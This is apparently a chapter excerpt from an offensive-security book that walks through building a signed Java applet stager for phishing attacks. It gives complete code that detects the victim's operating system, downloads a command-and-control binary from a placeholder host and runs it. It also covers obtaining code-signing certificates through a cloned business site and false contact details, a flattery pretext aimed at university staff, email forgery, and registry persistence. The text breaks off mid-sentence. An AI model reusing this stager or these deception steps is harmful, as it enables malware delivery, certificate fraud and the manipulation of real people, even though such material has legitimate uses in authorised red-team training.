There are a number of Java exploits and attacks floating around in the wild. Forget them. You want to code your own tools from the ground up that will look as legitimate as possible and be able to punch through any host-based malware detection and intrusion detection traffic analysis.
The attack flow is as follows:
Develop a Java applet and deploy it within a convincing web-based environment. More on that shortly.
Deploy a social engineering attack against the previously identified users to encourage them to visit this website.
Upon execution, the applet must determine whether it's in a Windows, OSX, or Linux environment and download the appropriate C2 agent. This will obviously involve some recoding of the C2, but it's in the C language so this should be minimal.
Java is not a difficult language to learn, so don't worry if you're not familiar with it. I include everything you need, including code, to get you started.
Java Code Signing for Fun and Profit
Before I go any further, it's worth mentioning that since Java 8 Update 20, no Java applets will run unless the code is signed by a recognized authority. Code signing was something that probably sounded like a good idea back in the 90s when the process of acquiring a signing certificate was much harder—you needed a Dunn and Bradstreet number, an incorporated company, and a verified mailing address. These days the code signing business is, well, big business. It's very competitive and they want your trade so they'll still do a little verification that you are who you say you are, but it will be the bare minimum. You can easily get a certification with a little social engineering. A major retailer of code-signing certificates states the following on their website:
The legal existence of the organization or individual named in the Organization field of the code-signing certificate must be verified.
The email to which the code-signing certificate is to be sent must be someone@domain.com, where domain.com is owned by the organization named in the code-signing certificate.
A callback must be made to a verified telephone number for the organization or individual named in the code-signing certificate in order to verify that the person placing the order is an authorized representative of the organization.
This procedure can be used to easily get a code-signing certificate:
Register a domain name that is similar to an existing business. Consider your target organization—what might be relevant?
Clone and host that website using the following command:
wget -U "Mozilla/5.0 (X11; U; Linux; en-US; rv:1.9.1.16) Gecko/20110929 Firefox/3.5.16" --recursive --level=1 --no-clobber --page-requisites --html-extension --convert-links --no-parent --wait=3 --random-wait http://www.example.com/docs/interesting-part/ --domains=www.example.com
Change all phone contact information in the cloned site to point to you.
Consider a company well outside of the code signer's normal business area to discourage chamber of commerce lookups (in practice these are rarely performed).
I've been able to acquire code-signing certs with only a plausible sounding email address and a cell phone. Remember, you're the client and they want your money.
Of course, as you're legitimately performing APT modeling, you could use your own legal entity. It's up to you.
In a sense, enforcing code signing is the best thing that could have happened for Java malware authors, as it enforces a completely unrealistic security model that lulls users into a false sense of security. Code signing basically works like this—you the user are trusting a third party you've never met (the code author) because another third party you've never met (the code signer) has said the code (that they've never seen) is safe to run.
Right.
Of course, the initial point was to ensure that all code was traceable but that's something that's been well and truly lost on the way.
The basic technique we're illustrating here is one that is heavily favored by NSA/GCHQ network infiltration teams or so-called Tailored Access Operations and for a reason: it's easy and it works. You don't need a portfolio of zero-day exploits to gain access to secure environments when people are running Java, which is almost universally deployed.
With all that in mind, let's get down to some Java coding. First of all, download the Java SE JDK (not JRE) from the Oracle website. For reasons that escape me, the Java installer never correctly sets the path variable, so you'll need to do that yourself (modify this for the version):
set path=%path%;C:\Program Files\Java\jdk1.8.0_73\bin
You don't want to have to keep signing every build of your test code; that's going to get tedious very quickly. You'll need to do the following to set up your development environment. Add your local machine as an exception to the code-signing rule, as shown in Figure 2.1.
[image: Snapshot of local Java code to run in the browser.]
Figure 2.1: Permit all local Java code to run in the browser.
Java code starts off in plain text files with a .java extension that are then compiled into .class files. Class files can't be signed so they need to be bundled into .jar archives for your purposes. The following is an illustrative simple HelloWorld example:
public class HelloWorld
{
public static void main(String[] args)
{
System.out.println("Hello, World!");
}
}
Save this as HelloWorld.java and compile it like so:
javac HelloWorld.java
This will create HelloWorld.class, which is run like so:
java HelloWorld
This runs the Java interpreter. You should see the program output:
Hello, World!
This is all well and good, but you want your code to run inside a web browser. The code then needs to be slightly different to inherit certain functionality it needs to run as an applet:
import java.applet.Applet;
import java.awt.Graphics;
public class HelloWorld extends Applet {
public void paint(Graphics g) {
g.drawString("Hello world!", 50, 25);
}
}
Create a small HTML file in the same directory with the following code:
A Simple Program
Here is the output of my program:
Save this file as test.html and load it into your browser, as shown in Figure 2.2.
[image: Snapshot of Java applet running in the browser.]
Figure 2.2: Java applet running in the browser.
As previously stated, at some point you will need to bundle the .class file into a .jar archive so that it can be code signed. That's easily achieved and you need to modify your HTML code slightly as well:
jar cf helloworld.jar HelloWorld.class
and
A Simple Program
Here is the output of my program:
Simplicity itself.
Writing a Java Applet Stager
In essence, what you want to do is not a million miles away from the goal of the previous chapter—download and execute a C2 payload. However, this time you are going to assume the existence of three potential operating systems, Windows, Apple OSX, and the many Linux derivatives. This will require some discrimination on the part of the stager and some recoding of the C2 payload itself (mainly file path nomenclature and persistence), but all three platforms support C and libssh, so this is trivial. You will heavily modify the C2 server model as well for this test to add other much needed functionality.
Compile the following code:
public class OsDetect
{
public static void main(String[] args)
{
System.out.println(System.getProperty("os.name"));
}
}
The output reveals the current OS. For example:
Windows 7
You can use various functions to determine all manner of properties of the Java Virtual Machine that we've found ourselves in and other useful information about the host, but right now the OS is adequate for your needs. As far as Windows goes, I generally don't concern myself with targeting x86 or x64 platforms individually for payload delivery; x86 works fine for pretty much everything you want to do. There are, however, good reasons for taking this into consideration when you're doing very specific x64 process exploitation or migration, but that doesn't concern us here.
Moving forward, let's create a stager as a command-line tool for testing purposes. Later we'll package it into an applet and make it attack ready. See Listing 2-1. This code imports the necessary libraries for network communication, checks out what OS the target is running and downloads the appropriate C2. This is intentionally simple for illustrative purposes. This code will run “out of the box” so play around with it and make it better.
Listing 2-1: A Template for a Basic Java Stager
import java.io.BufferedInputStream;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
public class JavaStager {
private static String OS = System.getProperty("os.name").toLowerCase();
public static void main(String[] args) {
if (isWindows()) {
try {
String fileName = "c2.exe";
URL link = new URL("http://yourc2url.com/c2.exe");
InputStream in = new BufferedInputStream(link.openStream());
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buf = new byte[1024];
int n = 0;
while (-1!=(n=in.read(buf)))
{out.write(buf, 0, n);
}
out.close();
in.close();
byte[] response = out.toByteArray();
FileOutputStream fos = new FileOutputStream(fileName);
fos.write(response);
fos.close();
Process process = new ProcessBuilder("c2.exe").start();
} catch(IOException ioe){}
} else if (isMac()) {
try {
String fileName = "c2_signed_mac_binary";
URL link = new URL("http://yourc2url.com/c2_signed_mac_binary");
InputStream in = new BufferedInputStream(link.openStream());
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buf = new byte[1024];
int n = 0;
while (-1!=(n=in.read(buf)))
{out.write(buf, 0, n);
}
out.close();
in.close();
byte[] response = out.toByteArray();
FileOutputStream fos = new FileOutputStream(fileName);
fos.write(response);
fos.close();
Process process = new ProcessBuilder("c2_signed_mac_binary").start();
} catch(IOException ioe){}
} else if (isLinux()) {
try {
String fileName = "linux_binary";
URL link = new URL("http://yourc2url.com/c2_signed_mac_binary");
InputStream in = new BufferedInputStream(link.openStream());
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buf = new byte[1024];
int n = 0;
while (-1!=(n=in.read(buf)))
{out.write(buf, 0, n);
}
out.close();
in.close();
byte[] response = out.toByteArray();
FileOutputStream fos = new FileOutputStream(fileName);
fos.write(response);
fos.close();
Process process = new ProcessBuilder("chmod +x linux_binary;./linux_binary").start();
} catch(IOException ioe){}
} else {
}
}
public static boolean isWindows() {
return (OS.indexOf("win") >= 0);
}
public static boolean isMac() {
return (OS.indexOf("mac") >= 0);
}
public static boolean isLinux() {
return (OS.indexOf("nux") >= 0);
}
}
We first use the System.getProperty("os.name") function to determine the OS. While you could drill down a little more (for other versions of UNIX for example), this is sufficiently thorough for your needs. Once the OS is known, the stager downloads and executes the appropriate payload for that platform.
The variable filename defines where the payload will be written on the host and the variable URL references where the stager can find the payload on the web.
Make sure you also code sign the Mac executable or you will get inconvenient permission messages presented to the user. No such issues exist with Windows and Linux; they will quite happily execute what they're given with no warnings to the user.
To convert this to an applet, you need to import the appropriate library:
import java.applet.Applet;
and change:
public class JavaStager {
to:
public class JavaStager extends Applet {
Package the .class file to a .jar:
jar cf stager.jar JavaStager.class
and prepare your HTML:
Convincing Pretext
Create a Convincing Pretext
You will need to have a think about where you want these files to be downloaded. In the previous example (when converted into an applet), they will go to the Java cache, which is far from ideal.
You still have two things you need to do—create a convincing pretext (i.e., a pretty and believable website) and sign the .jar file. Then this attack will be ready to fly.
The sky is pretty much the limit as to how far you can go when designing pretexts, but bear in mind here that an attack is successful or foiled—far more than with the technical details.
I encourage you to do your research and be an artist.
In this instance, you'll create a website with the house style of the college under attack, embed your hostile applet in it, and entice your targets to visit the site. It has to look official, but official emails land in people's inboxes all day long, so it's also has to stand out without looking like it's from a Nigerian prince. Without wanting to sound like a psychopath, manipulating people is easy when you know what makes them tick. In the cut-throat world of sales or brokering stocks, anything that appears to give someone an advantage over their colleagues works well but, all things being equal, academics are not usually motivated by the acquisition of wealth.
It doesn't matter if you're a physicist or an archaeologist, the real currency in the academic world is prestige. “Publish or perish” is the phrase coined to describe the pressure in academia to rapidly and continually publish work to sustain or further one's career. That is leverage that you can use. Another pretext that works very well is flattery—create an attack that exploits these ideas and get your payload executed.
Create a website called “Find an expert,” which you will imply is associated with and administered by the university. It will purport to be a new directory that will make it easier for specialists to get invitations to speaking engagements and the like. All that's needed is a free registration. The invite will be personalized and made to look like it's originated from within the college. You can send an email under any pretext to anyone at the college and when they reply, you will have the standard university email footer that you can copy and customize to suit your needs.
EMAIL FORGERY
Forging email is so trivial that I don't to waste space here discussing it. Although I touch on advanced topics such as SPF, DKIM, and other email domain protection technologies later in the book. If you're unfamiliar with email forgery, there are many resources on the web to refer to, but I'd start with the latest IETF RFC on SMTP email:
https://tools.ietf.org/html/rfc6531
Signing the Stager
That leaves code signing the stager. Once we've acquired the certificate from the vendor, the easiest way to do this is as follows.
Export the PVK (private key) and SPC (certificate) files into a PFX/P12 file using the Microsoft tool pvkimprt.
pvkimprt -import -pfx mycert.spc javakey.pvk
Import the PFX file into a new Java keystore using PKCS12Import and enter the keystore password when prompted.
java pkcs12import mycert.pfk keystore.ks
Sign the .jar file with the jarsigner tool.
jarsigner -keystore keystore.ks stager.jar
Embedded into your fake website, this attack is ready to test. (And do test, really, because if you mess up your initial attack, your target will be more aware and on guard. Then test it again.)
Notes on Payload Persistence
In the previous chapter I discussed, albeit briefly, the idea of persistence—that is the payload being able to survive reboots. There are numerous ways to do this, and now that we're dealing with multiple operating systems the problem multiplies. The method described in Chapter 1 will work but it's not very stealthy. Now that you're upping your game, it seems like a good time to revisit the concept with some better suggestions.
Microsoft Windows
There are plenty of ways to autostart code in Windows that go beyond the obvious and the most common:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Microsoft included several keys